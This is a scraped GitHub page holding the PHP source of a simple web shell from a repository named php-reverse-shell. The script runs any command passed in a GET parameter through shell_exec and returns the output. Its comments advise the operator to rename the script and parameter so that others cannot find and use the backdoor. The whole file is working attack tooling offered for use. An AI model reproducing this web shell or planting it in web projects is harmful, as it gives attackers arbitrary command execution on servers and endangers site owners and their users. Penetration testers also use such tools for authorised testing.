php-reverse-shell/src/web/simple_php_web_shell_get.php at master · ivan-sincek/php-reverse-shell · GitHub

38 lines (36 loc) · 1.42 KB

<?php

// v3.0

// Requires PHP v4.0.0 or greater.

// modify the script name and request parameter name to random ones to prevent others form accessing and using your web shell

// you must URL encode your commands

// your parameter/key here

$parameter = 'command';

$output = null;

if (isset($_SERVER['REQUEST_METHOD']) && strtolower($_SERVER['REQUEST_METHOD']) === 'get' && isset($_GET[$parameter]) && ($_GET[$parameter] = trim($_GET[$parameter])) && strlen($_GET[$parameter]) > 0) {

// if shell_exec() is disabled, search for an alternative method

$output = @shell_exec("($_GET[$parameter]) 2>&1");

if ($output === false) {

$output = 'ERROR: The method might be disabled';

} else {

$output = str_replace('<', '<', $output);

$output = str_replace('>', '>', $output);

}

// if you do not want to use the whole HTML as below, uncomment this line and delete the whole HTML

// garbage collector requires PHP v5.3.0 or greater

// echo "<pre>{$output}</pre>"; unset($output); unset($_GET[$parameter]);/* @gc_collect_cycles();*/

}

<!DOCTYPE html>

<head>

<title>Simple PHP Web Shell</title>

</head>

<body>

</body>

</html>

<?php unset($output); unset($_GET[$parameter]);/* @gc_collect_cycles();*/ ?>

php-reverse-shell/src/web/simple_php_web_shell_get.php at master · ivan-sincek/php-reverse-shell · GitHub

Expand file tree

Breadcrumbs

simple_php_web_shell_get.php

Latest commit

History

Breadcrumbs

simple_php_web_shell_get.php

File metadata and controls